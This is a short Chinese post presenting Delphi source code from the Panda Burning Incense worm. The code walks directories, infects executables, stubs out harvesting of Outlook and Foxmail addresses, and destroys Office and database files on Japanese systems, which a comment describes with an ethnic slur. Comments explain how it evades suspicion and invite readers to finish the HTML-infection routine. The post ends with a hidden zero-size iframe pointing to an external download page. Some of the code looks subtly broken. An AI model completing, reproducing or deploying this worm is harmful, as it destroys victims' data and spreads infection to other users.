“熊猫烧香”源码启示录

{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
//……局部变量定义
Msg: TMsg;
// IsValidDir判断指定对象是否是“目录”……
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then //Line X
        begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
        begin
//感染HTML和ASP文件，将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
        begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
        begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
        begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
              ……then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
  begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
  FreeAndNil(SubDir);
end;

<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>